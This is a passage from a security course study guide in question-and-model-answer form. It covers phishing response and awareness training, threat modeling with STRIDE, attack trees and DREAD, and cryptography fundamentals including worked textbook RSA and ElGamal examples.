Indicators: (1) **Look and feel:** Spelling mistakes, inconsistent branding. But professional-looking lures are easy to create. (2) **Request content:** Unusual payments, credential requests, implausible stories. But personalized messages can match real work. (3) **Security features:** Missing/failed domain authentication. But legitimate mail can fail; malicious can pass. (4) **URL/attachment analysis:** Inspecting real destination is the strongest user-visible clue. But requires knowledge and can't prove safety of compromised legitimate infrastructure. (5) **Independent verification:** Official website, known phone, second approver. Most reliable for high-impact requests.

No single measure is enough because: blocking known phishing is too slow for new sites; registering similar domains is incomplete; DMARC doesn't stop compromised accounts or look-alikes; digital signatures are hard to interpret; relying on users alone is unfair since attention is limited.

Q196: Describe the fast response workflow for a suspicious message or interaction (6 steps).

Model Answer:

(1) **Pause:** Don't click, reply, open attachments, disclose info, or make payments. Urgency and emotional pressure are common influence mechanisms. (2) **Inspect:** Check full sender, actual URL,

attachment type, requested action, context. Separate appearance from technical evidence. (3) **Verify independently:** Use known official website, phone number, internal directory, or second approver. Don't use contact details from the suspicious message. (4) **Report:** Send details through organization's reporting path to protect other users and improve filtering. (5) **Contain if necessary:** If link was followed, data entered, or access granted, contact response team immediately for session revocation, credential reset, endpoint isolation. (6) **Learn and improve:** Update controls, procedures, and training based on the event.

Q197: Describe anti-phishing education approaches. What problems arise from weak security education?

Model Answer:

Approaches: (1) Multiple media formats (e-learning, videos, websites). (2) Gamification (interactive exercises). (3) Games (NoPhish, Anti-Phishing Phil). (4) Embedded learning (teaching moment close to risky action or simulation result).

Simulated campaigns (GoPhish): measure click rate and data entry. Must be authorized, scoped, and avoid collecting real passwords. Goal is improvement, not humiliation. Use results to improve systems, not shame users.

Problems with weak education: (1) One-time training -- habits need time, staff change, methods evolve. Use recurring, updated, role-aware education. (2) Blaming users only -- demands may be unreasonable; pair with technical controls and supportive reporting. (3) Vague advice ('don't click suspicious emails') -- provide concrete verification steps, examples, and escalation channels.

Q198: What is the organizational control checklist for social engineering defense?

Model Answer:

Email and web: SPF, DKIM, DMARC, filtering, attachment scanning, link analysis, browser protections, warning banners. **Identity:** MFA, phishing-resistant auth, password managers, conditional access, least privilege, rapid session revocation. **Business processes:** Callback verification, separation of duties, payment approval, supplier-change validation. **Endpoints/network:** Patching, protected viewers, macro restrictions, endpoint detection, removable-media controls, segmentation. **Physical:** Badges, visitors, escorts, challenge culture, secure disposal, screen privacy. **People/culture:** Recurring education, actionable advice, easy reporting, no-shame escalation, role-aware scenarios. **Assessments:** Written scope, legal review, proportionate scenarios, data minimization, stop conditions.

Q199: Explain the key distinctions: social engineering vs phishing, phishing vs spear phishing, whaling vs CEO fraud, smishing vs vishing, tailgating vs shoulder surfing, pretext vs persuasion tactic, SPF vs DKIM vs DMARC.

Model Answer:

Social engineering is the broader manipulation category; phishing is one message-based variant. Phishing targets many; spear phishing is focused and personalized. Whaling targets high-value senior people; CEO fraud impersonates authority for payments -- they overlap. Smishing uses SMS; vishing uses voice calls. Tailgating obtains physical entry by following someone; shoulder surfing observes secrets/screens/conversations. A pretext is the story explaining the interaction; persuasion tactics are psychological levers for compliance. SPF authorizes sending infrastructure; DKIM signs message content; DMARC adds alignment, policy, and reporting.

PART 8: LECTURE 8 & LAB 8

Chapter 08: Threat Modeling I

Why Threat Modeling & Choosing a Perspective

Q200: What is threat modeling? Why is it needed? What is its core limitation?

Model Answer:

Threat modeling is a repeatable engineering process for identifying predictable threats before or while building a system. The four-step loop: model the system, find threats, address threats, validate the result.

Needed because: (1) Security failures expose broken assumptions (e.g., E2E encryption doesn't make the whole system secure; IT failures can affect physical safety). (2) Reactive testing (pentests, fuzzing, code analysis) often detects problems after design decisions exist. (3) Implicit security judgments already happen -- threat modeling makes them explicit, structured, reviewable, and repeatable.

Core limitation: improves security but never proves a system is secure. Models abstract reality, assumptions may be wrong, implementations change, and new attack patterns appear. Treat it as a living quality-assurance process, not a one-time document.

Q201: Compare the three starting perspectives for threat modeling: attacker-focused, asset-focused, and system-focused.

Model Answer:

Attacker-focused: 'What does an attacker know, want, and try?' Supports realistic abuse cases. Risk: predictions about attacker goals may be wrong, sending model in wrong direction.

Asset-focused: 'What valuable things should be protected?' Connects to business value and impact. Risk: asset list may be incomplete; a 'random workstation' may matter as a stepping stone even when its own data seems unimportant.

System-focused: 'What is being built, where does data move, where do privileges change?' Uses facts the team knows, scales into structured diagrams. Risk: still needs attacker thinking, asset context, and validation.

Good threat modeling combines all three perspectives rather than relying on only one. Assets explain what matters; system model explains how components interact; attacker model explains how interactions might be abused.

Q202: Describe the four-step threat modeling framework and its OWASP equivalent.

Model Answer:

(1) **Model the system:** Create an abstraction of components, data flows, boundaries, dependencies. OWASP: application overview and decomposition.

(2) **Find threats:** Systematically search for predictable abuse cases and weaknesses. OWASP: identify threats and vulnerabilities.

(3) **Address threats:** Mitigate, eliminate, transfer, or explicitly accept each threat. OWASP: plan and implement controls.

(4) **Validate:** Review model completeness, confirm controls, test them, update the model. OWASP: iterate and verify.

Desired properties: predictable (similar teams find similar threats), reliable (documented assumptions), scalable (works for large products), practical (leads to prioritized engineering work).

Modeling the System -- DFDs, Trust Boundaries & State

Q203: Describe DFD notation: process, data store, data flow, external entity, and trust boundary. What threat-modeling questions does each raise?

Model Answer:

Process: Running code transforming data. Questions: What inputs does it trust? What privileges? What errors/secrets can it expose? Can it be exhausted?

Data store: Persistent/shared data (files, databases, logs). Questions: Who can read/write? Can it fill up? Is integrity protected? Backups appropriate?

Data flow: Path for data movement. Questions: Is confidentiality protected? Can traffic be modified, replayed, redirected, flooded? Is metadata sensitive?

External entity: Anything outside modeled code -- people, clients, third-party services. Questions: How is identity verified? What assumptions about behavior, availability, trust?

Trust boundary: Where entities with different privileges interact. Questions: What enforcement occurs at the crossing? Which inputs need validation, authentication, authorization?

Threats cluster around boundaries because that is where untrusted inputs meet protected operations.

Q204: What are trust boundaries? Why must they be explicit? What questions should be asked at each boundary?

Model Answer:

A trust boundary exists where principals with different privileges interact. Teams often leave them implicit, but effective threat modeling makes them visible. Boundaries may separate user from application, one app from another, front end from database, internal from third-party, or lower-privilege from privileged component.

Questions: (1) Which principals are on each side? (2) What crosses the boundary? (data, commands, credentials, tokens, files, logs, metadata) (3) What enforces the boundary? (OS isolation, application checks, cryptography, gateways) (4) What assumption could fail? (third-party availability, client honesty, identity claims, network confidentiality, correct configuration)

Boundaries must be explicit because threats cluster where differently trusted inputs meet protected operations.

Q205: Compare diagram types for threat modeling: DFD, swim-lane, state machine, and UML.

Model Answer:

DFD: Processes, data stores, external entities, data movement, trust boundaries. Makes flows and boundary crossings visible; threats frequently follow data.

Swim-lane diagram: Interactions among entities in separate lanes. Highlights cross-entity communication and implicit boundaries. Good for protocols (e.g., TCP three-way handshake).

State machine: States and transitions (unauthenticated->authenticated, user->admin). Highlights transitions that change security state and require validation.

UML diagrams: Activity, sequence, component views. Can show process flow or design structure when DFD is too narrow. Can become complex.

Modeling rule: Focus first on data flow, not control flow. But every transition implies processing, and security-state transitions deserve explicit analysis.

STRIDE Threat Categorization

Q206: Explain all six STRIDE categories with the property each violates, core meaning, and typical question.

Model Answer:

Spoofing (Authentication): Impersonating someone/something else. Can an attacker claim another identity, machine, service, or role?

Tampering (Integrity): Modifying data or code. Can an attacker alter files, requests, messages, configuration, or stored data?

Repudiation (Non-repudiation): Claiming not to have performed an action. Are actions logged securely with sufficient context?

Information Disclosure (Confidentiality): Exposing information to unauthorized party. Can secrets leak through storage, traffic, metadata, error messages, or excessive responses?

Denial of Service (Availability): Denying/degrading service. Can an attacker exhaust CPU, memory, disk, network, data stores, dependencies, or business logic?

Elevation of Privilege (Authorization): Gaining capabilities without authorization. Can lower-privilege input lead to privileged actions, memory access, or bypassed checks?

Q207: Give examples of spoofing threats: machine spoofing, person spoofing, and role spoofing. What are the defenses?

Model Answer:

Machine spoofing: ARP spoofing, IP spoofing, DNS spoofing, DNS compromise at TLD/registrar/server, IP redirection. Defense: don't rely solely on network location; use strong endpoint authentication, protected DNS, network monitoring.

Person spoofing: Account takeover, misleading display names (e.g., 'stranded in London' scam). Defense: protect accounts with MFA and secure recovery; treat display names as untrusted presentation text.

Role spoofing: Declaring oneself a special role, creating fake domains/websites, using fake 'verifiers.' Defense: authorize each sensitive action based on verified identity and server-side role checks, not self-assertion or appearance.

Q208: Explain information disclosure threats at the process, data flow, and metadata levels.

Model Answer:

Process output: SQL injection returning database tables; verbose error messages exposing usernames, database names, passwords; memory-disclosure bugs like Heartbleed. Defense: restrict returned data, handle errors safely, minimize secrets in memory and error paths, test negative cases.

Data flow: Reading network traffic; redirecting traffic for observation. Defense: authenticated encryption where needed; protect routing, endpoint identity, and trust boundaries.

Metadata: Learning secrets through traffic analysis, observing DNS relationships, analyzing social-network connections. Defense: confidential content protection does NOT automatically hide who communicates with whom, when, or how often. Consider metadata protection separately.

Q209: How should STRIDE be applied to a system model?

Model Answer:

Walk through each element and boundary in the model and ask how each STRIDE category could apply. Use documentation, diagrams, attack trees, libraries, and experience. The purpose is not to force every category onto every element but to ensure the search is deliberate and complete enough for the system's risk level.

For each DFD element: processes can be spoofed, tampered with, used for information disclosure, denied, or have privileges elevated. Data stores can be tampered with, disclosed, or denied. Data flows can be tampered with, disclosed, or denied. External entities can spoof or repudiate.

Record every identified threat with its category, affected element, scenario, and potential impact.

Attack Trees

Q210: What is an attack tree? Describe its structure and how it is used in threat modeling.

Model Answer:

An attack tree is a branching hierarchical representation of ways to reach a security-incident goal.

Structure: **Root node:** The high-level attacker goal (e.g., 'access the building,' 'compromise a bank account'). **Intermediate nodes:** Subgoals or approaches contributing to the parent. **Leaf nodes:** Concrete techniques, preconditions, or actions. **Branch relationships:** OR branches (any child sufficient) and AND branches (multiple children required).

Usage: (1) Reuse existing trees from reliable sources, check if branches apply to your context. (2) Create project-specific trees: define root goal, add subgoals/leaves, consider completeness, prune irrelevant nodes. (3) Connect leaves to threat records, controls, tests, owners, and monitoring requirements.

Attack trees combine technical, physical, procedural, and human paths toward the same goal. They organize detail without losing the big picture.

Addressing Threats -- Four Strategies

Q211: Describe the four threat response strategies: mitigate, eliminate, transfer, accept.

Model Answer:

Mitigate: Reduce likelihood or impact. Default response. Add authentication, authorization, encryption, rate limits, validation, isolation, monitoring.

Eliminate: Remove the risky feature, pathway, or functionality entirely. Strongest fix -- e.g., the Heartbleed defect couldn't exist without the TLS heartbeat feature.

Transfer: Shift responsibility to a better-positioned party (specialized provider, insurance, managed service). Accountability and dependency risk remain.

Accept: Explicitly tolerate residual risk when other options are unreasonable. Document rationale, owner, assumptions, monitoring, and review date. Acceptance is a decision, not neglect.

Trade-offs: Security responses affect usability, cost, schedule, performance, operational complexity. Document the trade-off and residual risk rather than presenting mitigation as absolute protection.

Q212: Describe the STRIDE mitigation technologies: what controls address each threat category?

Model Answer:

Spoofing -> Authentication: Digital signatures, directory-backed identity, MFA, cryptographic tunnels.

Tampering -> Integrity/permissions: Digital signatures, integrity checks, validated updates, ACLs, file monitoring.

Repudiation -> Logging/fraud prevention: Auditable event design, centralized logging, protected retention, customer-history records.

Information Disclosure -> Permissions/encryption: Local authorization, safe data handling, TLS, encrypted tunnels, secrets management, access review.

Denial of Service -> Availability controls: Elastic design, bounded workloads, graceful degradation, load balancing, quotas, monitoring, response plans.

Elevation of Privilege -> Authorization/isolation: Roles, privileges, input validation, sandboxing, firewalls, least privilege, hardened configuration.

Important: removing the risky functionality (eliminate) is sometimes the strongest fix.

Threat Prioritization

Q213: Describe threat prioritization approaches: wait-and-see, easy fixes, bug bar, cost estimation, DREAD, and impact-likelihood matrix.

Model Answer:

Wait and see: May avoid effort on speculative issues. Risk: leaves known exposure unmanaged; should be explicit acceptance with monitoring. **Easy fixes first:** Removes low-cost problems quickly. Risk: delays high-impact but difficult urgent work. **Bug bar:** Defined severity thresholds in tracker. Must be clear and consistent. **Cost/damage estimation:** Connects to business consequences. Estimates may be uncertain. **DREAD:** Scores across five dimensions. Scores are subjective unless scales defined consistently. **Impact-likelihood matrix:** Intuitive risk view. Can oversimplify; record rationale and uncertainty.

Never hide uncertainty behind a number or color. Record scenario, affected assets, assumptions, evidence, chosen response, owner, and review point.

Q214: Explain the DREAD scoring model. What does each letter represent?

Model Answer:

D - Damage potential: How serious is the consequence? (3=high/admin execution, 2=medium/sensitive data, 1=low). **R - Reproducibility:** How reliably can the attack be repeated? **E - Exploitability:** How difficult is exploitation? What access/skill/resources needed? **A - Affected users:** How many users, systems, or business functions affected? **D - Discoverability:** How likely is an attacker to notice the weakness?

Scores summed or averaged for comparison. The result is a decision aid, not an objective truth. Scores are subjective unless scales and evidence are defined consistently.

Validation, Lab 8 STRIDE & Key Distinctions

Q215: Explain the validation process. What must be validated and what questions should be asked?

Model Answer:

Two things must be validated: (1) The threat model itself. (2) Whether identified threats have been addressed.

Validation questions: **Expertise:** Have all relevant people contributed (developers, operators, security, architects)? **Completeness:** Does the model include all components, stores, flows, entities, boundaries, assumptions, dependencies? **Accuracy:** Does the diagram match the deployed/planned system, not an outdated mental model? **Security decisions:** Are major design/operational decisions represented? **Versioning:** Can reviewers identify current version and changes? **Threat coverage:** Has every element been checked against STRIDE, attack trees, libraries? **Tracking:** Does each threat have a record with owner, risk, response, and status?

For each threat, document: risk/scenario, chosen strategy (mitigate/eliminate/transfer/accept), control implementation, verification test, owner/status, monitoring/review trigger.

Q216: Why is threat modeling a lifecycle process, not a one-time activity?

Model Answer:

No analysis covers every angle. Systems evolve, dependencies change, configurations drift, and attackers develop new patterns. The model must be updated after: major design changes, new integrations, operational incidents, new vulnerabilities, and changing assumptions.

Feed lessons from tests, incidents, monitoring, and user behavior back into the model. Walk through the diagram again when discussion reveals missing detail. Vague phrases signal missing detail. If explaining the diagram requires information not visible in the model, update it. If reviewers debate what happens at a boundary, the diagram may be incomplete.

Confirm every threat is addressed: risk/scenario documented, strategy chosen, control implemented, verification test defined, owner assigned, monitoring and review trigger set.

Q217: From Lab 8, describe the STRIDE analysis of the Android health application. Give one threat example and mitigation for each STRIDE category.

Model Answer:

Spoofing: Attacker steals credentials and logs in as the real user. Mitigation: strong passwords, MFA, biometric protection, rate limiting.

Tampering: Attacker with device access modifies locally stored health data. Mitigation: encrypt local storage, Android Keystore for secrets, integrity checks, root detection.

Repudiation: User edits/deletes health data and denies it. Mitigation: audit logging, timestamps, tamper-resistant logs, separate logs for logins vs data changes.

Information Disclosure: Health data readable by other apps, malware, or physical access. Mitigation: encrypt sensitive data, secure storage APIs, disable sensitive data in logs, require device lock.

Denial of Service: Repeated failed logins lock out the user; corrupted storage prevents app use. Mitigation: safe error handling, input validation, backoff instead of permanent lockout, backup/recovery.

Elevation of Privilege: Malicious app gains access to health data through OS permission weaknesses; rooted device bypasses sandbox. Mitigation: least-privilege design, secure Android manifest, protect exported components, root detection.

Q218: From Lab 8, how did the STRIDE analysis change when the health app evolved into a fitness tracker with Bluetooth and cloud sync? What new threats appeared?

Model Answer:

The evolved system introduced: third-party fitness devices via Bluetooth, data processing/cleaning, cloud storage sync, and removal of manual data editing. New trust boundaries: Android device, external device, and cloud service.

New threats: **Spoofing:** Fake Bluetooth device impersonates fitness tracker; malicious service impersonates cloud backend. **Tampering:** Fitness data altered during Bluetooth transmission; cloud data altered without authorization. **Repudiation:** Incorrect data from third-party device can't be traced to source; cloud updates can't be attributed. **Information Disclosure:** Bluetooth communications reveal fitness data; cloud storage leaks fitness history; metadata (sleep patterns, heart rate) reveals behavior. **Denial of Service:** Bluetooth jamming; malformed device data crashes processing; cloud outages prevent sync. **Elevation of Privilege:** Compromise of cloud account gives broader access.

Key lesson: the updated architecture has a larger attack surface due to wireless communication, cloud exposure, and trust in third-party devices.

Q219: Explain the key distinctions: threat modeling vs vulnerability scanning, threat vs vulnerability, mitigation vs elimination, encryption vs complete security, model validation vs control validation.

Model Answer:

Threat modeling vs scanning: Threat modeling reasons about predictable attack paths and design assumptions. Scanning searches for detectable weaknesses in a target. They complement each other.

Threat vs vulnerability: A threat is a possible harmful event/scenario. A vulnerability is a weakness that may enable harm.

Mitigation vs elimination: Mitigation reduces risk while keeping the feature. Elimination removes the risky functionality entirely.

Encryption vs complete security: Encryption protects content but doesn't automatically protect identity, endpoints, metadata, usability, recovery, or operational safety.

Model validation vs control validation: The model must match reality AND the chosen controls must actually be implemented and tested. Both are needed.

PART 9: LECTURE 9 & LAB 9

Chapter 09: Cryptography

Cryptography Purpose & Categories

Q220: What does cryptography contribute to security? Describe the four security properties it can support and each one's limitation.

Model Answer:

Confidentiality: Unauthorized parties cannot learn protected content. Mechanism: encryption with securely managed keys. Limit: ciphertext can still expose metadata (timing, size, communication relationships).

Integrity: Unauthorized changes should be detectable. Mechanism: authenticated encryption or MAC. Limit: plain encryption does NOT automatically prove data was not modified.

Authenticity: Receiver can verify origin of data. Mechanism: MACs (shared secret) or digital signatures (public verification). Limit: does not automatically imply sender intended every interpretation.

Non-repudiation: Signer cannot plausibly deny a valid signature. Mechanism: digital signatures plus identity, certificates, evidence controls. Limit: operational and legal context still matters.

Encryption alone is primarily a confidentiality mechanism. Integrity and authenticity require authenticated encryption, MAC, or digital signature.

Q221: Compare symmetric-key and public-key encryption: keys, strength, examples, and main challenge.

Model Answer:

Symmetric-key (SKE): Parties share a secret key (same or related material for encrypt/decrypt). Efficient for large data. Examples: DES, AES, OTP, ChaCha20-Poly1305. Challenge: safely share, store, rotate, and revoke keys; use modes and nonces correctly.

Public-key (PKE): Encryptor uses published public key; decryptor uses secret key. Solves key-distribution problems but slower. Examples: RSA, ElGamal. Challenge: generate strong key pairs, authenticate public keys, use standardized padding, protect secret keys.

Hybrid systems: Modern protocols (TLS) use public-key techniques to authenticate and establish session keys, then symmetric authenticated encryption for bulk data. Combines manageable key establishment with high throughput.

Classical Ciphers -- Caesar, Vigenere, Enigma

Q222: Compare Caesar, Vigenere, and Enigma ciphers. Why are they insufficient for modern security?

Model Answer:

Caesar: Monoalphabetic substitution. One fixed alphabet shift (key = shift amount 1-25). Weakness: tiny key space (25 possibilities); language frequencies preserved. Trivially breakable.

Vigenere: Polyalphabetic substitution. Repeating keyword selects different shifts per position. Stronger than Caesar because it distributes substitutions across multiple alphabets. Still breakable: repeated key structure can be analyzed; modern computation makes attacks practical.

Enigma: Electromechanical polyalphabetic substitution with changing state (rotors + plugboard). Broken through structural weaknesses, operational mistakes, predictable procedures, and cryptanalysis (associated with Alan Turing).

All insufficient today because: key spaces are too small or predictable, structure leaks information, and modern computation defeats them instantly. Security depends on the entire system, not only the machine/algorithm.

Q223: From Lab 9, decrypt the Caesar cipher 'IWXH XH P KTGN DAS RXEWTG'. Explain the approach.

Model Answer:

The plaintext is: THIS IS A VERY OLD CIPHER. The key is a shift of 11 (not 3 as commonly assumed).

Approach: Since the key space is only 25 possibilities, you can try every shift value systematically until readable English appears. Alternatively, use frequency analysis -- the most common letters in English (E, T, A, O, I, N) should map to the most frequent ciphertext letters. With only 25 shifts, brute force is trivial even by hand.

Symmetric Block Ciphers -- DES & AES

Q224: Compare DES and AES: block size, key size, rounds, and security status.

Model Answer:

DES: 64-bit blocks, 56-bit effective key (8 parity bits), 16 Feistel rounds. Obsolete -- key space too small for modern use; exhaustive search feasible with specialized hardware. Known cryptanalytic attacks: differential cryptanalysis (Biham/Shamir), linear cryptanalysis (Matsui). Should NOT be used for new systems.

AES: 128-bit blocks always. Key sizes: 128 (10 rounds), 192 (12 rounds), or 256 bits (14 rounds). The number in the name (AES-128/192/256) identifies KEY size, NOT block size. Designed to resist differential and linear cryptanalysis. No practical attack known against properly implemented AES with strong keys. Real failures arise from bad modes, nonce reuse, weak randomness, side channels, exposed keys, or protocol mistakes.

AES is not a complete protocol: must specify mode/AEAD scheme, nonce handling, key derivation, key rotation, error behavior, and integrity verification.

Q225: From Lab 9, argue why AES is not broken yet and why AES is faster than RSA.

Model Answer:

AES is not broken because: no practical attack faster than brute force is known against the full algorithm. It has been extensively studied for many years. Key sizes (128/192/256 bits) make brute force infeasible with current computing power. AES remains secure when implemented correctly.

AES is faster than RSA because: AES is a symmetric algorithm designed for efficient bulk data encryption using simple bitwise operations. RSA is asymmetric, based on modular exponentiation with very large integers, which is computationally expensive. In practice, RSA is used for key exchange, small messages, or signatures, while AES handles bulk data encryption. This is why hybrid systems use RSA/ECDHE to establish a session key, then AES for the actual data.

One-Time Pad & Authenticated Encryption

Q226: Explain the one-time pad (OTP). What conditions are required for perfect secrecy? What goes wrong if any condition is violated?

Model Answer:

OTP encrypts by XOR-ing plaintext with a truly random secret key. If conditions are met, it provides perfect secrecy (information-theoretic, not just computational).

Conditions: (1) **Random key:** Every possible plaintext must remain plausible. Violation: predictable keys allow statistical attacks. (2) **Key length $\geq$ message length:** Each bit needs fresh secret material. Violation: shorter repeating key creates exploitable structure. (3) **Key used only once:** If same pad encrypts two messages, $C1 \oplus C2 = P1 \oplus P2$, key cancels, exposing plaintext relationship. (4) **Secure key distribution/storage:** Both parties must share the secret without exposure. Violation: confidentiality problem merely moves to key transport.

OTP was used for the Moscow-Washington hotline. The practical problem is key distribution -- supplying and managing truly random material is extremely difficult.

Q227: What is authenticated encryption (AEAD)? Explain ChaCha20-Poly1305 and why raw encryption is insufficient.

Model Answer:

AEAD (Authenticated Encryption with Associated Data) provides both confidentiality and integrity. Data is encrypted AND modifications are detectable.

ChaCha20-Poly1305: ChaCha20 is a stream cipher (confidentiality); Poly1305 is an authenticator (integrity/authenticity). Together they form an AEAD construction used in TLS/HTTPS, VPNs, SSH, and mobile networks.

Components: encryption (makes plaintext unreadable), authentication tag (detects unauthorized modification), nonce (per-message value -- reusing with same key can be catastrophic), AEAD (protects encrypted content and can authenticate selected unencrypted metadata like headers).

Raw encryption is insufficient because it only provides confidentiality. Without authentication, an attacker could modify ciphertext and the receiver wouldn't detect the change. Prefer well-reviewed AEAD rather than combining raw encryption and integrity ad hoc.

Public-Key Cryptography -- RSA & ElGamal

Q228: Explain public-key cryptography. What is the padlock analogy? Why must public keys be authenticated?

Model Answer:

Public-key encryption uses a key pair: public key (distributed widely, used to encrypt) and secret key (only the owner, used to decrypt). Padlock analogy: anyone can close the open padlock (encrypt), but only the owner of the key can unlock it (decrypt).

Public-key authenticity is critical: publishing a public key is not enough. The user must know WHOSE key it is. Without authentication, an attacker can substitute their own key. Authentication methods: certificates, trusted directories, pinned keys, fingerprints, or authenticated out-of-band verification.

In real protocols, public-key is usually NOT applied directly to large data. Instead, it authenticates/establishes a short random session key, then symmetric AEAD protects bulk data efficiently (hybrid encryption).

Q229: Describe textbook RSA key generation, encryption, and decryption using the toy example ($p=11$, $q=13$, $e=7$).

Model Answer:

Key generation: (1) Choose primes $p=11$, $q=13$. (2) Compute $n = p \cdot q = 143$. (3) Compute $\phi(n) = (p-1)(q-1) = 120$. (4) Choose $e=7$ where $\gcd(e, \phi(n))=1$. (5) Find $d=103$ where $e \cdot d = 1 \bmod \phi(n)$ ($7 \cdot 103 = 721 = 1 \bmod 120$). (6) Public key $(143, 7)$; Secret key $(143, 103)$.

Encryption: $c = m^e \bmod n = 9^7 \bmod 143 = 48$. Decryption: $m = c^d \bmod n = 48^{103} \bmod 143 = 9$.

Critical: textbook RSA is INSECURE. Raw modular exponentiation is deterministic and vulnerable to attacks. Production RSA requires standardized padding (RSA-OAEP for encryption, RSA-PSS for signatures), validated libraries, secure randomness, strong key generation, and protected private keys. Real RSA uses 2048+ bit keys, not toy primes.

Q230: Describe textbook ElGamal encryption. How does it differ from RSA? Why is fresh randomness essential?

Model Answer:

ElGamal uses arithmetic in a multiplicative group modulo a prime. Security based on discrete logarithm problem.

Key generation: Choose prime $p=23$, generator $g=5$, secret $x=6$. Compute $h = g^x \bmod p = 8$. Public key $(23, 5, 8)$; secret $x=6$.

Encryption ($m=9$, fresh $k=7$): $c_1 = g^k \bmod p = 17$. $c_2 = m * h^k \bmod p = 16$. Ciphertext: $(17, 16)$.
Decryption: $s = c_1^x \bmod p = 12$. $s^{-1} = 2 \bmod 23$. $m = c_2 * s^{-1} \bmod p = 9$.

Key difference from RSA: ElGamal is naturally randomized -- encrypting the same plaintext produces different ciphertexts because fresh randomness k is used each time. RSA textbook is deterministic.

Fresh randomness is essential because: reuse or exposure of k can reveal relationships between ciphertexts and undermine security entirely. Also, textbook ElGamal is malleable -- production systems use standardized authenticated constructions.

Q231: From Lab 9, compare RSA and ElGamal encryption. What are the key differences?

Model Answer:

- (1) **Mathematical basis:** RSA based on difficulty of factoring large integers. ElGamal based on discrete logarithm problem.
- (2) **Deterministic vs probabilistic:** Textbook RSA is deterministic (same plaintext + same key = same ciphertext). ElGamal is naturally probabilistic (fresh randomness per encryption produces different ciphertexts).
- (3) **Ciphertext size:** RSA produces one value. ElGamal produces a pair (c_1, c_2) -- ciphertext expansion.
- (4) **Security fix needed:** RSA needs standardized padding (RSA-OAEP) to become secure. ElGamal needs standardized authenticated constructions.
- (5) **Randomness:** ElGamal requires fresh random k for each encryption -- reuse is catastrophic. RSA's determinism is fixed through randomized padding.

Standardization, Common Pitfalls & Lab 9

Q232: Why does standardization matter for cryptography? What lesson does the EAXprime (EAX') case teach?

Model Answer:

Standardization supports: interoperability, public review, testing, consistent parameter choices, and implementation guidance. Organizations: NIST (FIPS publications), ANSI. AES was selected through a public competition (15 submissions -> 5 finalists -> Rijndael selected, FIPS PUB 197).

EAXprime lesson: EAX' was standardized in ANSI C12.22 for electricity-meter data. In 2012, researchers broke it. The lesson is NOT that standards are useless -- it's that standardization, implementation, review, and cryptanalysis are CONTINUOUS processes. A standard is a review milestone, not a permanent guarantee. Always be prepared to migrate when analysis reveals weaknesses.

Q233: List and correct the common cryptographic pitfalls/misconceptions.

Model Answer:

- (1) 'AES-256 has 256-bit block size' -- Wrong. AES always has 128-bit blocks. AES-256 means 256-bit key with 14 rounds.
- (2) 'Encryption guarantees integrity' -- Wrong. Raw encryption protects confidentiality only. Use AEAD, MAC, or signature for integrity.
- (3) 'A public key can be trusted because it is public' -- Wrong. Public availability doesn't prove identity. Key must be authenticated.

- (4) 'OTP is weak because XOR is simple' -- Wrong. OTP is perfectly secret when conditions are met. Difficulty is operational key management.
- (5) 'RSA mathematics alone is enough' -- Wrong. Textbook RSA is insecure. Production needs standardized constructions and protected keys.
- (6) 'A standardized protocol can never be broken' -- Wrong. Standardization improves review but doesn't eliminate the possibility of flaws or later cryptanalysis.

Q234: From Lab 9, how long would it take to brute-force an 80-bit key at 2^{30} keys/second? What does this demonstrate?

Model Answer:

2^{80} possible keys / 2^{30} per second = 2^{50} seconds = approximately 35.7 million years.

This demonstrates that: (1) Key length directly determines brute-force difficulty -- each additional bit doubles the search space. (2) 80 bits is already infeasible for a single computer. (3) The estimate is optimistic -- assumes constant rate with no overhead. (4) With specialized hardware and parallelization, attacks can be faster. (5) This is why DES's 56-bit key is considered too short (only 2^{56} possibilities) while AES-128's key space (2^{128}) is astronomically larger.

Q235: From Lab 9, what did the TLS analysis of github.com reveal? Explain the cipher suite components.

Model Answer:

GitHub supports TLS 1.3 and TLS 1.2 (not TLS 1.1/1.0 or SSL). SSL Labs rates it A+.

TLS 1.3 suites: TLS_AES_128_GCM_SHA256, TLS_CHACHA20_POLY1305_SHA256. TLS 1.2 suites: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, etc.

Components: **AES_128_GCM / AES_256_GCM**: Symmetric authenticated encryption for actual web traffic. **ChaCha20-Poly1305**: Alternative symmetric AEAD. **SHA256/SHA384**: Hash functions within TLS. **ECDHE**: Elliptic Curve Diffie-Hellman Ephemeral for key exchange and forward secrecy. **RSA/ECDSA**: Public-key algorithms for authentication/signatures in TLS handshakes. Certificate: RSA 4096-bit with SHA256withRSA.

This demonstrates hybrid encryption in practice: public-key (ECDHE/RSA) for authentication and key establishment, symmetric (AES-GCM/ChaCha20-Poly1305) for bulk data protection.

Q236: What is CMAC? What is the difference between encryption, MAC, digital signature, and authenticated encryption?

Model Answer:

CMAC: Cipher-based message authentication code (standardized NIST SP 800-38B). Verifies message integrity and authenticity when parties share a secret key. Used in Wi-Fi, Bluetooth, lower-power devices.

Symmetric encryption: Shared secret key. Primary: confidentiality. Authorized parties decrypt. **MAC (e.g., CMAC)**: Shared secret MAC key. Primary: integrity and authenticity among secret-sharing parties. A party with the secret generates and verifies tags. Does NOT provide confidentiality. **Digital signature**: Signer holds secret signing key; others use public verification key. Primary: integrity, signer authentication, evidence of signing. Anyone with authentic public key can verify. **Authenticated encryption (AEAD)**: Shared secret key with nonce rules. Primary: confidentiality PLUS integrity. Receiver decrypts only after successful authentication.

Additional Cryptography Questions

Q237: Explain how DES works internally: Feistel rounds, substitution, and permutation. Why is DES obsolete?

Model Answer:

DES processes 64-bit blocks using 16 Feistel rounds. In each round, a Feistel function uses substitution (S-boxes providing nonlinearity) and permutation (bit rearrangement spreading influence). The Feistel structure splits the block into halves and repeatedly transforms/mixes them. Decryption uses the same round structure with reversed round-key order.

DES is obsolete because: (1) 56-bit effective key is too short -- exhaustive search feasible with specialized hardware. (2) Differential cryptanalysis (Biham/Shamir, late 1980s) and linear cryptanalysis (Matsui, 1994) showed analytical weaknesses. (3) IBM and NSA knew about differential cryptanalysis earlier but kept it secret. DES is a historical teaching example, not an acceptable modern choice.

Q238: Explain the AES selection process. Why was Rijndael selected? What is FIPS PUB 197?

Model Answer:

AES competition: 15 submitted designs evaluated publicly. 5 finalists received deeper analysis. Rijndael (by Joan Daemen and Vincent Rijmen) was selected as AES. Serpent (by Anderson, Biham, Knudsen) was the runner-up.

Rijndael was selected for its combination of security margin, performance, implementation flexibility, and mathematical elegance. AES was standardized as FIPS PUB 197 (issued 2001, approved 2002).

The open competition process was itself important: public review by the cryptographic community provides confidence that no backdoors or weaknesses were hidden. This is why standardized algorithms are preferred over proprietary or secret designs.

Q239: What is the difference between a block cipher and a stream cipher? Give examples of each.

